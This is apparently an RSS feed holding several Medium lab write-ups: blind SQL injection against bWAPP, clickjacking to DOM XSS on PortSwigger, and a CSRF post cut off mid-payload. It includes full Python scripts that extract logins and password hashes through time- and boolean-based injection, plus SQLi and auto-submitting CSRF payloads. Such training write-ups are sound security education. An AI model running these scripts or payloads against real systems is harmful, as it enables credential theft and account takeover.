<strong>Blind SQL Injection</strong> where an attacker determines if a database query is vulnerable by observing the time it takes for the server to respond. Since no direct output is returned, attackers use <strong>delays</strong> in execution to infer whether their injected SQL statements are working.</p><p><strong>How It Works:</strong></p><ul><li>The attacker injects a query that forces the database to <strong>pause</strong> execution for a specific period (e.g., using SLEEP(seconds) in MySQL).</li><li>If the server response is <strong>delayed</strong>, it indicates that the query was successfully executed, confirming the vulnerability.</li><li>If there is <strong>no delay</strong>, it means the query was not executed, helping the attacker deduce information.</li></ul><p><strong>Example of Time-Based SQL Injection in MySQL:</strong></p><pre>&#39; OR IF(1=1, SLEEP(5), 0) -- -</pre><p>Would you like an example of exploiting <strong>time-based SQLi</strong> in <strong>bWAPP</strong>? Let’s go.</p><blockquote><strong><em>SQL Injection — Blind — Time-Based</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6rGa8VkHHL6A2AGm4FMjVw.png" /></figure><p>We can see “Search for a movie” box and write smth here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yn9j-Q1a6_mNlbbmUMNyFQ.png" /></figure><p>In this scenario, no matter what input we enter in the box, we always see the message:</p><p><strong>“The result will be sent by e-mail…”</strong></p><p>This means that the application does not directly display SQL query results, making it a candidate for <strong>Blind SQL Injection</strong>.</p><p><strong>Step 1: Detecting Blind SQL Injection</strong></p><p>Since we don’t get any visible database errors or query output, we need to determine whether the input field is vulnerable. A common way to test for <strong>Blind SQL Injection</strong> is by using <strong>boolean-based</strong> or <strong>time-based</strong> techniques.In this situation we can see only same response that is why we use <strong>time-based </strong>techniques.</p><p><strong>Time-Based Test:</strong></p><pre>&#39; OR IF(1=1, SLEEP(2), 0) -- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Afu5HqE4z14qvgVxFedlqw.png" /><figcaption>We can see response time 48,860</figcaption></figure><p>Since we observed that the response time is <strong>48 seconds</strong>, even though we only used SLEEP(2), this suggests that the total delay is influenced by the <strong>number of rows or tables</strong> in the database.</p><p>To make our testing more efficient, we should refine our <strong>payload</strong> to minimize unnecessary delays. Instead of causing a delay per row, we can modify the query to ensure a <strong>fixed, predictable delay</strong>.</p><pre>&#39; OR (if(sysdate()=now(),sleep(2),1))-- -</pre><p><strong>Breakdown of the Payload</strong></p><ol><li><strong><em>sysdate()=now()</em></strong></li></ol><ul><li>In <strong>MySQL</strong>, <strong><em>sysdate()</em></strong> and <strong><em>now()</em></strong> both return the current timestamp, but there is a key difference:</li><li><strong><em>now()</em></strong> is <strong>constant</strong> during a query execution.</li><li><strong><em>sysdate()</em></strong> is evaluated <strong>each time it is called</strong>.</li></ul><p><strong>Why Is This Payload Useful?</strong></p><p>It <strong>avoids table scans</strong>, unlike sleep(2) in subqueries that depend on row count.<br>It ensures a <strong>fixed</strong> 2-second delay, making detection more reliable.</p><p>It works even if other filtering mechanisms block <strong>direct boolean conditions</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8RSpHu17sKqOK5Nx_MKFtg.png" /><figcaption>It is work !!</figcaption></figure><p>Great! Since we have successfully <strong>detected Blind SQL Injection</strong>, now it’s time to move to the <strong>Data Extraction</strong> phase. We use script for extraction because it takes much time. The following script is for Time-Based SQL Injection.</p><pre>import requests<br>import time<br>import sys<br><br>def binarySearch(URL, index, cookie):<br>    low = 32<br>    high = 126<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low:<br>            return chr(mid)<br>        url = URL + f&quot;?title=&#39; OR (if((select ascii(substring(concat(login,&#39;-&#39;,password),{index},1)) from users LIMIT 1)&lt;{mid},sleep(1),1))-- -&#39;&quot;<br>        start_time = time.time()<br>        requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>        finish_time = time.time()<br>        request_time = finish_time - start_time<br>        if request_time &gt;= 2:<br>            high = mid<br>        else:<br>            low = mid<br><br>def extractData(URL, length, cookie):<br>    data = &quot;&quot;<br>    for index in range(1, length + 1):<br>        data += binarySearch(URL, index, cookie)<br>        print(data)<br>    print(data)<br><br>def findlength(URL, cookie):<br>    low = 1<br>    high = 200<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low:<br>            return mid<br>        url = URL + f&quot;?title=&#39; OR (if((select length(concat(login,&#39;-&#39;,password)) from users LIMIT 1)&lt;{mid},sleep(1),1))-- -&#39;&quot;<br>        start_time = time.time()<br>        requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>        finish_time = time.time()<br>        request_time = finish_time - start_time<br>        if request_time &gt;= 2:<br>            high = mid<br>        else:<br>            low = mid<br><br>def detectSQLi(URL, cookie):<br>    url = URL + &quot;?title=&#39; OR (if(sysdate()=now(),sleep(2),1))-- -&#39;&quot;<br>    start_time = time.time()<br>    response = requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>    finish_time = time.time()<br>    request_time = finish_time - start_time<br>    return request_time &gt;= 2<br><br>def main():<br>    if len(sys.argv) != 3:<br>        print(&quot;Usage: python script.py &lt;URL&gt; &lt;Cookie&gt;&quot;)<br>        sys.exit(1)<br>    <br>    URL = sys.argv[1]<br>    cookie = sys.argv[2]<br>    <br>    if detectSQLi(URL, cookie):<br>        print(&quot;SQLi detected, trying to exploit...&quot;)<br>        length = findlength(URL, cookie)<br>        print(&quot;Length: {}&quot;.format(length))<br>        extractData(URL, length, cookie)<br>    else:<br>        print(&quot;SQLi not detected.&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    try:<br>        main()<br>    except KeyboardInterrupt:<br>        sys.exit(1)</pre><p>In this script you can see binarySearch, extractData, findlength, detectSQLi functions . If you dont know about binarySearch you can take a look my last article about <a href="https://www.linkedin.com/posts/kamil-soltanov-6a72b3330_bwaaps-sql-injection-labs-activity-7290436256746885121-WSrm?utm_source=share&amp;utm_medium=member_desktop">bWAPP labs</a> :</p><p>Brake down of the script:</p><p><strong>Libraries</strong>:</p><ul><li><em>requests</em> : Used for sending HTTP requests.</li><li><em>time</em> : Used to measure execution time.</li><li><em>sys </em>: Used to read command-line arguments.</li></ul><p><strong>Functions</strong>:</p><p><strong><em>binarySearch(URL, index, cookie) </em></strong>:</p><ul><li>This function uses the binary search method to identify characters in a user’s login name and password.</li><li>The variables <strong>low </strong>and <strong>high </strong>represent the ASCII values of characters.</li><li>The <strong>while </strong>loop continues until a character is found.</li><li>The function sends a GET request to the provided URL and measures the response time.</li><li>If <strong>request_time </strong>exceeds 2 seconds, it updates the <strong>high </strong>variable; otherwise, it updates the <strong>low </strong>variable</li></ul><p><strong><em>extractData(URL, length, cookie)</em></strong>:</p><ul><li>This function extracts the user login name and password based on the given <strong>length</strong>.</li><li>It calls <strong>binarySearch </strong>for each character position and accumulates the characters.</li></ul><p><strong><em>findlength(URL, cookie)</em></strong>:</p><ul><li>This function uses binary search to determine the length of the login name and password.</li><li>It sets <strong>low </strong>and <strong>high </strong>to define the maximum length of the login name and password.</li><li>In each iteration, it sends a length query and measures the response time.</li></ul><p><strong><em>detectSQLi(URL, cookie)</em></strong>:</p><ul><li>This function checks for the presence of an SQL injection vulnerability in the given URL.</li><li>It sends a specific SQL query to the URL and measures the execution time. If the response time is 2 seconds or longer, it indicates an SQLi vulnerability.</li></ul><p><strong><em>main()</em> function</strong>:</p><ul><li>This function accepts the URL and cookie from the command line.</li><li>It checks for SQLi vulnerability using <strong>detectSQLi()</strong>.</li><li>If a vulnerability is detected, it calls <strong>findlength()</strong> to determine the length of the login name and password and then calls <strong>extractData()</strong> to extract the information.</li></ul><p><strong><em>if __name__ == &quot;__main__&quot;:</em></strong> <strong>block</strong>:</p><ul><li>This block calls the <strong>main()</strong> function when the script is run directly. If the user interrupts the process with<strong><em> Ctrl+c</em></strong> (KeyboardInterrupt), the script exits cleanly.</li></ul><p><strong>Usage</strong></p><p>The code takes a URL and cookie as input, checks for SQL injection vulnerability, and if found, attempts to extract user login names and passwords from the database.</p><p>Lets try this script on this lab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XlMBk-WYCdlfzch80X3wYA.png" /></figure><p>Our script work ! Now, wait results..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*g5wyJqPKzvNs25AL6nbm4A.png" /></figure><p>Yes!!! That is “A.I.M.” user and its password is “6885858486f31043e5839c735d99457f045affd0” but that is HASH . We can use crackstation for crack the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V3bXq6NrCSdd2ggM9z4-mg.png" /></figure><p>User — “A.I.M.” and password — “bug”</p><p>Concrulations !! We solve this. Try the next one.</p><blockquote><strong>What is Boolean-Based SQL Injection?</strong></blockquote><p><strong>Boolean-Based SQL Injection</strong> is a type of SQL injection attack that exploits vulnerabilities in an application’s database query logic by manipulating the input to return different results based on Boolean conditions (true or false). This method allows an attacker to infer information about the database by sending specially crafted queries and observing the application’s responses.</p><p>In Boolean-Based SQL Injection, we construct payloads based on the responses received from the application when manipulating SQL queries. By analyzing the replies from the application, we can infer information about the database. Let’s delve into this process with a detailed explanation and consider its application in a lab setting.</p><blockquote><strong>SQL Injection — Blind — Boolean-Based</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bocdsi7-xq3Dic-P9-qeBg.png" /></figure><p>Write smth randomly and take a look ! You can see : “<em>The movie does not exist in our database!</em>” Okay , now, I will try :</p><pre>&#39; OR 1=1-- -</pre><p>because it means that -&gt; the movie name is wrong okay but 1exactly equal 1 that is why we will get positive response after use that payload :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SogAdtn7eHWaEFgaWIObIA.png" /></figure><p>Yess!! We detected SQL Injection. Now try to extract data.</p><p>For extraction we use script which i wrote :</p><pre>import requests<br>import sys<br>import argparse<br><br>### This is binary search to finding tables&#39; names or columns&#39; names. <br><br>def binarySearch(URL, index, limit, cookie):<br>    low = 32<br>    high = 126<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low:<br>            return chr(mid)<br>        url = URL + f&quot;?title=&#39; OR if((select ascii(substring(table_name,{index},1)) from information_schema.tables where table_schema=&#39;bWAPP&#39; LIMIT {limit},1)&lt;{mid},1,0)-- -&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid<br>            <br>### This is for Data extraction .<br><br>def extractData(URL, length, row, cookie):<br>    data = &quot;&quot;<br>    for index in range(1, length + 1):<br>        data += binarySearch(URL, index, row, cookie)<br>    print(data)<br>    data = &quot;&quot;<br><br>### We use length for finding users&#39; or passwords&#39; exact value.<br><br>def findlength(URL, row, cookie):<br>    low = 1<br>    high = 200<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low:<br>            length = mid<br>            extractData(URL, length, row, cookie)<br>            return mid<br>        url = URL + f&quot;?title=&#39; OR (if((select length(table_name) from information_schema.tables where table_schema=&#39;bWAPP&#39; LIMIT {row},1)&lt;{mid},1,0))-- -&#39;&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid<br><br>def findRowCount(URL, cookie):<br>    i = 1<br>    while i &lt; 20:<br>        url = URL + f&quot;?title=&#39; OR (if((select count(table_name) from information_schema.tables where table_schema=&#39;bWAPP&#39;) = {i},1,0))-- -&#39;&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>        if &quot;exists&quot; in response.text:<br>            return i<br>        i += 1<br><br>### That is the first step for SQL Injection (detection).<br>def detectSQLi(URL, cookie):<br>    url = URL + &quot;?title=&#39; or 1=1 -- -&quot;<br>    response = requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>    return &quot;exists&quot; in response.text<br><br>def main():<br>    parser = argparse.ArgumentParser(description=&quot;SQL Injection Exploit Script&quot;)<br>    parser.add_argument(&quot;url&quot;, help=&quot;Target URL&quot;)<br>    parser.add_argument(&quot;cookie&quot;, help=&quot;Session cookie&quot;)<br>    args = parser.parse_args()<br><br>    URL = args.url<br>    cookie = args.cookie<br>    <br>    if detectSQLi(URL, cookie):<br>        print(&quot;SQLi detected, trying to exploit...&quot;)<br>        count = findRowCount(URL, cookie)<br>        print(&quot;Row count: {}&quot;.format(count))<br>        for row in range(count):<br>            findlength(URL, row, cookie)<br>    else:<br>        print(&quot;SQLi not detected&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    try:<br>        main()<br>    except KeyboardInterrupt:<br>        sys.exit(1)</pre><p>The script performs several key functions:</p><ol><li><strong>SQL Injection Detection</strong>: It checks if the target URL is vulnerable to SQL injection.</li><li><strong>Row Count Retrieval</strong>: It determines how many tables exist in the bWAPP schema.</li><li><strong>Table and Column Name Extraction</strong>: It uses binary search to find the names of tables and their columns within the database.</li><li><strong>Data Extraction</strong>: It retrieves the actual data from the identified tables.</li></ol><h3>Components of the Script</h3><h4>1. Imports and Argument Parsing</h4><pre>import requests<br>import sys<br>import argparse</pre><ul><li><strong>requests</strong>: This library is used to send HTTP requests to the target URL.</li><li><strong>sys</strong>: Provides access to command-line arguments and system functions.</li><li><strong>argparse</strong>: Facilitates the parsing of command-line arguments.</li></ul><h4>2. Binary Search Function</h4><pre>def binarySearch(URL, index, limit, cookie):<br>    low = 32<br>    high = 126<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low:<br>            return chr(mid)<br>        url = URL + f&quot;?title=&#39; OR if((select ascii(substring(table_name,{index},1)) from information_schema.tables where table_schema=&#39;bWAPP&#39; LIMIT {limit},1)&lt;{mid},1,0)-- -&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid</pre><p><strong>Purpose</strong>: This function performs a binary search to identify individual characters of table names in the database.</p><p><strong>Parameters</strong>:</p><ul><li><strong><em>URL </em></strong>: The target URL for the injection.</li><li><strong><em>index </em></strong>: The position of the character in the table name.</li><li><strong><em>limit </em></strong>: The specific table (row) from which to extract the name.</li><li><strong><em>cookie </em></strong>: The session cookie for authentication.</li></ul><p><strong>Logic</strong>:</p><ul><li>The function initializes a low and high range for ASCII values (32 to 126, which includes printable characters).</li><li>It constructs an SQL payload to test each character against the ASCII values, using a binary search approach to narrow down the correct character based on the application’s response.</li></ul><h4>3.Data Extraction Function</h4><pre>def extractData(URL, length, row, cookie):<br>    data = &quot;&quot;<br>    for index in range(1, length + 1):<br>        data += binarySearch(URL, index, row, cookie)<br>    print(data)<br>    data = &quot;&quot;</pre><p><strong>Purpose</strong>: This function calls the <strong><em>binarySearch </em></strong>function to extract the complete name of a table or column.</p><p><strong>Parameters</strong>:</p><ul><li><strong><em>length </em></strong>: The length of the table name to extract.</li><li><strong><em>row </em></strong>: The specific table number (from the row count).</li><li><strong><em>cookie </em></strong>: The session cookie for authentication.</li></ul><p><strong>Logic</strong>:</p><ul><li>It initializes an empty string for the data and iterates through each index (character position), appending the result from <strong><em>binarySearch</em></strong>.</li></ul><h4>4. Finding Length Function</h4><pre>def findlength(URL, row, cookie):<br>    low = 1<br>    high = 200<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low:<br>            length = mid<br>            extractData(URL, length, row, cookie)<br>            return mid<br>        url = URL + f&quot;?title=&#39; OR (if((select length(table_name) from information_schema.tables where table_schema=&#39;bWAPP&#39; LIMIT {row},1)&lt;{mid},1,0))-- -&#39;&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>        if &quot;exists&quot; in response.text:<br>            high = mid<br>        else:<br>            low = mid</pre><p><strong>Purpose</strong>: This function determines the length of each table name in the bWAPP schema.</p><p><strong>Logic</strong>:</p><ul><li>It performs a binary search to find the exact length of a table name by checking various lengths against the response.</li></ul><h4>5. Finding Row Count Function</h4><pre>def findRowCount(URL, cookie):<br>    i = 1<br>    while i &lt; 20:<br>        url = URL + f&quot;?title=&#39; OR (if((select count(table_name) from information_schema.tables where table_schema=&#39;bWAPP&#39;) = {i},1,0))-- -&#39;&quot;<br>        response = requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>        if &quot;exists&quot; in response.text:<br>            return i<br>        i += 1</pre><p><strong>Purpose</strong>: This function retrieves the number of tables in the bWAPP schema.</p><p><strong>Logic</strong>:</p><ul><li>It sends requests to incrementally check the count of tables until it finds a valid count based on the application’s response.</li></ul><h4>6. SQL Injection Detection Function</h4><pre>def detectSQLi(URL, cookie):<br>    url = URL + &quot;?title=&#39; or 1=1 -- -&quot;<br>    response = requests.get(url=url, headers={&quot;Cookie&quot;: cookie})<br>    return &quot;exists&quot; in response.text</pre><p><strong>Purpose</strong>: This function checks if the target application is vulnerable to SQL injection.</p><p><strong>Logic</strong>:</p><ul><li>It sends a basic injection payload (‘ OR 1=1 — -) and checks if the response contains a specific string (indicating a successful injection).</li></ul><h4>7.Main Function</h4><pre>def main():<br>    parser = argparse.ArgumentParser(description=&quot;SQL Injection Exploit Script&quot;)<br>    parser.add_argument(&quot;url&quot;, help=&quot;Target URL&quot;)<br>    parser.add_argument(&quot;cookie&quot;, help=&quot;Session cookie&quot;)<br>    args = parser.parse_args()<br><br>    URL = args.url<br>    cookie = args.cookie<br>    <br>    if detectSQLi(URL, cookie):<br>        print(&quot;SQLi detected, trying to exploit...&quot;)<br>        count = findRowCount(URL, cookie)<br>        print(&quot;Row count: {}&quot;.format(count))<br>        for row in range(count):<br>            findlength(URL, row, cookie)<br>    else:<br>        print(&quot;SQLi not detected&quot;)</pre><p><strong>Purpose</strong>: This is the entry point of the script.</p><p><strong>Logic</strong>:</p><ul><li>It uses <strong><em>argparse </em></strong>to get the target URL and session cookie from the command line.</li><li>It checks for SQL injection vulnerability, retrieves the row count, and then extracts the table names accordingly.</li></ul><h3>8. Execution Control</h3><pre>if __name__ == &quot;__main__&quot;:<br>    try:<br>        main()<br>    except KeyboardInterrupt:<br>        sys.exit(1)</pre><p><strong>Purpose</strong>: This block ensures that the <strong><em>main </em></strong>function runs when the script is executed directly. It also handles keyboard interrupts gracefully.</p><p>Now, let’s try this script :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BQ2JE4kp-0Hj73Vj-JLrsg.png" /></figure><p>Ahaa.. We can see 5 table and users is especially essential for us.After that you can replace payload with your payload (for next step: columns of users) and extract data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-2cLYbKFoOYsOAI14jPyxA.png" /></figure><p>For example : If you change table_name with column_name ……. You can see that result . It means that in the users table there are id,login.password and etc.</p><p>After 1–2 changes you can reach your goal and extract data with successfully.</p><p>This is the end of our article. I hope I have been able to help you. Thank you for reading, and I look forward to seeing you in upcoming articles.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=821d9f91cc0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS]]></title>
            <link>https://medium.com/@soltanovkamil19/lab-exploiting-clickjacking-vulnerability-to-trigger-dom-based-xss-e35f74b5eefd?source=rss-7a80daecc669------2</link>
            <guid isPermaLink="false">https://medium.com/p/e35f74b5eefd</guid>
            <category><![CDATA[clickjacking]]></category>
            <category><![CDATA[dom-based-xss]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <dc:creator><![CDATA[Kara]]></dc:creator>
            <pubDate>Wed, 15 Jan 2025 21:38:21 GMT</pubDate>
            <atom:updated>2025-01-15T21:38:21.335Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone,<br>In today’s article, we will solve a lab from PortSwigger related to clickjacking. I hope you will find answers to your questions. Let’s get started!</p><h3>First, let’s take a look at what clickjacking is.</h3><p><strong><em>Clickjacking</em></strong>, also known as a “UI redress attack,” is a malicious technique where an attacker tricks users into clicking on something different from what they perceive, effectively hijacking their clicks. This is typically done by overlaying an invisible or opaque element over a legitimate webpage, causing the user to unknowingly interact with the hidden content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P7YRJ7eal9NlzNgVE-qzvA.png" /></figure><h3>How Clickjacking Works:</h3><ol><li><strong>Embedding Legitimate Content</strong>: An attacker embeds the target website in an iframe.</li><li><strong>Manipulating Visibility</strong>: The iframe is styled to be transparent or positioned to hide its true purpose.</li><li><strong>Deceptive Interface</strong>: The attacker creates a fake button or link on top of the iframe, luring users to click.</li><li><strong>Unintended Actions</strong>: The user’s interaction results in actions like transferring money, sharing sensitive data, or modifying settings without their awareness.</li></ol><h3>Real-Life Examples:</h3><ul><li>Trick users into “liking” a social media page.</li><li>Authorize unintended transactions on financial platforms.</li><li>Perform administrative actions on websites where the user is logged in.</li></ul><p>In the next section, we’ll explore a practical lab to understand how clickjacking vulnerabilities can be identified and mitigated.</p><p>We are done with Clickjacking for now; we can start solving our lab. More details about Clickjacking…</p><ul><li><a href="https://portswigger.net/web-security/clickjacking">What is Clickjacking? Tutorial &amp; Examples | Web Security Academy</a></li><li><a href="https://owasp.org/www-community/attacks/Clickjacking">Clickjacking</a></li></ul><h3>Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS</h3><p>Description of lab : This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the “Click me” button to call the print() function.</p><p>NOTE : If you face some problems, try it again in Chrome</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cojAPLpm1SQZCh1A_lXycQ.png" /></figure><p>First of all, if you want to find any vulnerabilities, you should perform click fuzzing. Now, we can see “Submitfeedback” section and click here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFA482wU-UThkfcX0ufTQg.png" /></figure><p>I place my payloads then click “Submit feedback”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*HZSRhmDVdPx4oDV0zwzGJw.png" /></figure><p>Opps, there is HTML injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WQIeyBjN3GMizFfofXYCg.png" /></figure><p>You can see that from feedbackResult.innerHTML = “Thank you for submitting feedback” + (name ? “, “ + name : “”) + “!”;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6ojJRRbRuqF4N7oc-OrJA.png" /></figure><p>This payload can be used to trigger a print() display on the victim&#39;s screen. If victim click to Submit feedback we will reach our goal.</p><p>However, a question arises: we can open this page using an iframe, but how will we achieve our goal if the victim doesn’t input the payload themselves? This is exactly where DOM XSS comes into play, allowing us to achieve our goal via the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*VrZs_zeyreT_YIM9d3GZ1g.png" /></figure><p>Take a look at /feedback/submit after clicking &#39;Submit Feedback&#39; to view your URL-encoded feedback. Copy this section, excluding the &#39;CSRF token&#39; and paste url after /feedback?…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X5KHWsZjwBNBkbRIVeN7jg.png" /></figure><p>After doing this, you will see that all the empty fields have been filled with the payload you want to write. But there is a problem, we can not see “Submit feedback” button for clickjacking. That is why, write #feedbackResult to ending or url . It is called hashchage, when you write this Browser can auto-focus what you want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x6PO9bODw5F9iiSsu1Qj_g.png" /></figure><p>Well, we were able to do what we wanted!! Now, by writing a payload and sending it to the exploit server, the victim can confirm this by means of clickjacking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sO-P4LcCQhKeZNHkftmmww.png" /></figure><p>We write this HTML code and use iframe. Write to “src” your lab url and payload and modify “width” “height” etc. for your browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vkdMPefNWQ1MX-GHUrYvng.png" /></figure><p>Then if you look at your code result , you can see that. For reality change opacity to 0.00001 because you can not define to “0”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_pHcjR2Pl4Anw14_6yhZ_Q.png" /></figure><p>Yes, victim only see “click me” and click so we reach our goal.</p><p>If you want you can use css for more beautifull view .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NrritYwEHF5b41KPsfQ_GA.png" /></figure><p>Congratulation!!!</p><p>I hope this article has been useful to you. Until we meet in another article. For now, goodbye!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e35f74b5eefd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-site request forgery (CSRF)]]></title>
            <link>https://medium.com/@soltanovkamil19/cross-site-request-forgery-csrf-f17b30a32cd9?source=rss-7a80daecc669------2</link>
            <guid isPermaLink="false">https://medium.com/p/f17b30a32cd9</guid>
            <category><![CDATA[csrf-attack]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[csrf-basics]]></category>
            <dc:creator><![CDATA[Kara]]></dc:creator>
            <pubDate>Mon, 13 Jan 2025 20:03:07 GMT</pubDate>
            <atom:updated>2025-01-13T20:03:07.472Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is CSRF?</h3><p>Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.</p><p>Okay, so how does CSRF work?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*necgbm187FQNLMjYkhIxdg.png" /></figure><h3>How does CSRF work?</h3><p>If you want to do a CSRF attack, you need to know 3 conditions.</p><p><strong>Context:</strong></p><ul><li>The victim is authenticated on a web application (e.g., logged into their bank account or social media).</li><li>The attacker crafts a malicious request that interacts with the web application’s functionality.</li></ul><p><strong>Attack Steps:</strong></p><ul><li>The attacker embeds a malicious link or script in an email, on a website, or within an image tag.</li><li>The victim, while authenticated, interacts with the malicious element (e.g., clicks a link or loads a page).</li><li>The malicious request is sent to the web application, leveraging the victim’s authentication (e.g., cookies, session tokens) to execute unauthorized actions.</li></ul><p><strong>Result:</strong></p><ul><li>Actions such as transferring funds, changing account settings, or posting content are executed as if the victim performed them intentionally.</li></ul><p>So why is CRSF so dangerous, and what are its impacts?</p><h3>What is the impact of a CSRF attack?</h3><p>In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user’s account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application’s data and functionality.</p><h3>Example of a CSRF Attack</h3><p>A vulnerable application allows users to change their email address by sending the following HTTP request:</p><pre>POST /email/change HTTP/1.1<br>Host: vulweb.com<br>Content-Type: application/x-www-form-urlencoded<br>Cookie: session=ahFAJINtFAuasva12Aaxvgny<br><br>email=victim@victim.com</pre><p><strong>Vulnerability Conditions:</strong></p><ul><li>Changing the email is critical since attackers can use it to reset the password and take over the account.</li><li>The application relies solely on session cookies for authentication and lacks CSRF protection mechanisms.</li><li>Request parameters are predictable, enabling an attacker to craft a malicious request.</li></ul><p><strong>Attack Execution:</strong><br>The attacker creates a webpage with the following HTML:</p><pre>&lt;html&gt;  <br>    &lt;body&gt;  <br>        &lt;form action=&quot;https://vulweb.com/email/change&quot; method=&quot;POST&quot;&gt;  <br>            &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;hacked@hacker.com&quot; /&gt;  <br>        &lt;/form&gt;  <br>        &lt;script&gt;  <br>            document.forms[0].submit();  <br>        &lt;/script&gt;  <br>    &lt;/body&gt;  <br>&lt;/html&gt;</pre><p>If a victim visits the attacker’s page while logged into the vulnerable site:</p><ul><li>The browser automatically includes the victim’s session cookie in the request.</li><li>The server processes the request, changing the victim’s email to the attacker’s email.</li></ul><p>Now, we will do an easy lab from PortSwigger as an example.</p><h3>Lab</h3><p>This lab features a web application that is currently vulnerable to CSRF via its email change functionality. Our job will be to exploit this vulnerability in order to change an authenticated user’s email.If you take a look at <strong><em>inspect</em></strong> you can see SameSite is none and It means that you can shearch for CSRF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WWXrZrlWrjBD8bLJUnELXA.png" /></figure><p>Now is probably a good time to start Burp Suite so we can clearly see what happens behind the scenes. We’ll be testing the email change functionality and observing the structure of the requests. Next, let’s navigate to ‘<strong>My Account</strong>’ and log in using the provided credentials: <strong>wiener : peter</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qY02Y6Fi3LktItmRyrvv0A.png" /></figure><p>Great! Now, all we need to do is change our email. Let’s update it to something like <strong><em>wiener2@normal-user.net</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xCjsz7avXcZZ7TWJ9KQLuw.png" /></figure><p>Yes. We see the succesful update , the email has changed. Now let’s take a look at what those requests look like in Burp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ytRw7vUl34TKoAPHZHblw.png" /><figcaption>click to change-email</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*DwU7tBndyI-VXqpDqyWPZQ.png" /></figure><p>As you can see, we didn’t encounter any CSRF tokens. Even though there is a referer, it’s not being checked either. This shows that the web application has no protection methods, and we can successfully exploit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*yeFCMGb--_qgUkBKL52Ong.png" /></figure><p>We should use that html code:</p><pre>&lt;form method=&quot;POST&quot; action=&quot;https://0afc0094041b70d98070b2a700c5009c.web-security-academy.net/my-account/change-email&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;email&quot; 